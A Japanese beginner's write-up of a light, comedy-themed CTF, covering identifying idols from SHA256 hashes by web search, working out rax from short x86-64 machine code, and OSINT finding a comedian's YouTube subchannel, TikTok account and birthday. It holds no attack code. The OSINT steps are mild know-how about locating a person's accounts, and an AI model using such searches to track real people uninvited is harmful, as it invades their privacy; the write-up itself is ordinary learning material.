アイドル

セキュリティ芸人のネタに出てくるアイドルグループ「SHA256」

よく見るとアイドルの名前がSHA256でハッシュ化されているけれど 5557fd7681bbf5a88e840d75f7cd3a19613ff7241884ef579813d09f92421292

実はアスースンの好きなアイドルだった......! 一体誰だろう? という問題。
逆演算できるハッシュ値MD5は聞いたことあるけどSHA256は強固なイメージどうすればいいのだろうか? ヒントを見ると動画のコメント欄に書いたあったのでフラグゲット。

アイドル2

2番目に好きなアイドルは誰だったっけ...... そこそこ有名なアイドルグループのメンバーだった気がする

d05fc2cc24fd09d4544c0e4dfa7b72d2c5da3171b57232654810ee0d48bec2e6
ということらしい。これはヒントなし。 総当たりで入力していくのかと思ったけど、実家なので、アイドルを調べるのは恥ずかしいのでしたくない。
なんとなくハッシュ値をそのまま検索。
なんととあるアイドルが検索にひっかかかる。SHA256計算機に入力すると一致。 フラグゲット。

アイドル3

先と同じように検索。やっぱり引っかかる投稿あり。
フラグゲット。でも、アイドルなのだろうか?

考察 SHA256でハッシュ値にしても検索で探されることがある。気を付けよう。

Reversing

フラッシュ機械語

セキュリティ芸人のネタに出てくるフラッシュ機械語

48 31 c0 48 ff c0 48 ff c8

の答えは? (x86_64の命令として実行した場合のレジスタraxの値を答えよ)
ということでヒントを見ると簡単だ。 アセンブリされた計算を行えばよいのだから。

フラッシュ機械語2

これはどうだ!(10進数でお答えください)

48 c7 c0 12 34 56 78
ということで次はアセンブリ語のヒントなし。自力で解読するのかな? 調べてみてるけど機械語からアセンブリに戻すことが難しい。サイトには書いてあるが48に対応するのがmovですが、
そこからどのような構造になっているかわからん。

(x86_64 機械語入門) (x86-64機械語入門) (作って分かる! x86_64 機械語)というサイトが参考になりそう。 私の解釈では48は「64bit命令にはプレフィクスが付く」というものだと考えている。つまり、命令を解釈する時には大きく考えなくて良いと思う。その次のものが命令になる。"c7 c0"これは参考にしたものの3つ目に「c7 00+reg_ofs 即値 (32bit)、movl 即値 (32bit), (レジスタ (64bit))」とあるのでc0に後の値を書き込むものと解釈しました。(疑問)即値は32bitであるが、48なので64bitを扱うと思っていた。これはどういうことなのだろうか?今はごめんなさいスルーします。 そして、c0の後には12345678と続いていた。最初はこれを代入したがダメ。そういえばリトルエンディアンで並べられていましたね。ということで。78563412を入力。だめ。→これのc0への代入される値は正しくは0x78563412であるようだ。つまり、16進数を10進数にしないといけない。よって、78563412を10進数に直せば正解。

フラッシュ機械語3

48 31 c0 48 05 80 f0 fa 02 48 2d 9b 19 c6 01 上とおなじ。

(Online x86 / x64 Assembler and Disassembler)
(10進数・16進数変換ツール)
上記必要なツールを載せた。これを見つけるまでに苦労した。変換させると加算と減算をしていた。48が区切りとなり、05と2dは通常の加算減算の04,2cと近しいので何かしらの規則性があるのかと思うがよくはわかっていない。 これで10進数に直してから計算すると合っていた。

OSINT

サブチャンネル

こっそりYouTubeのサブチャンネルを作ったらしい

サブチャンネルの最初に投稿された動画に何か隠されていそうだ
ということで"脆弱エンジニアの日常 サブチャンネル"とgoogleに検索掛けたら一本の動画あり。 フラグゲット。

World

海外に通用するネタを探るために海外向けのTikTokアカウントを作っていたらしい

そのidを教えて!
全く探し方がわからん。 worldがヒントになりそうだけど。ほかには本アカにそれらしいツイートをしているのかな? tiktokで脆弱エンジニアを基に調べていったらそれらしきアカウント発見。ゲット

Birthday

インターネットで調べまくった。M1に出場されているようなので、誕生日は公開されていると思い、
それ関連で調べたら出てきた。ゲット。

感想

ふらっと行えるCTFでとても楽しむことができました。ほかの人のWriteUpを見て学習していこうと思います。 ありがとうございました。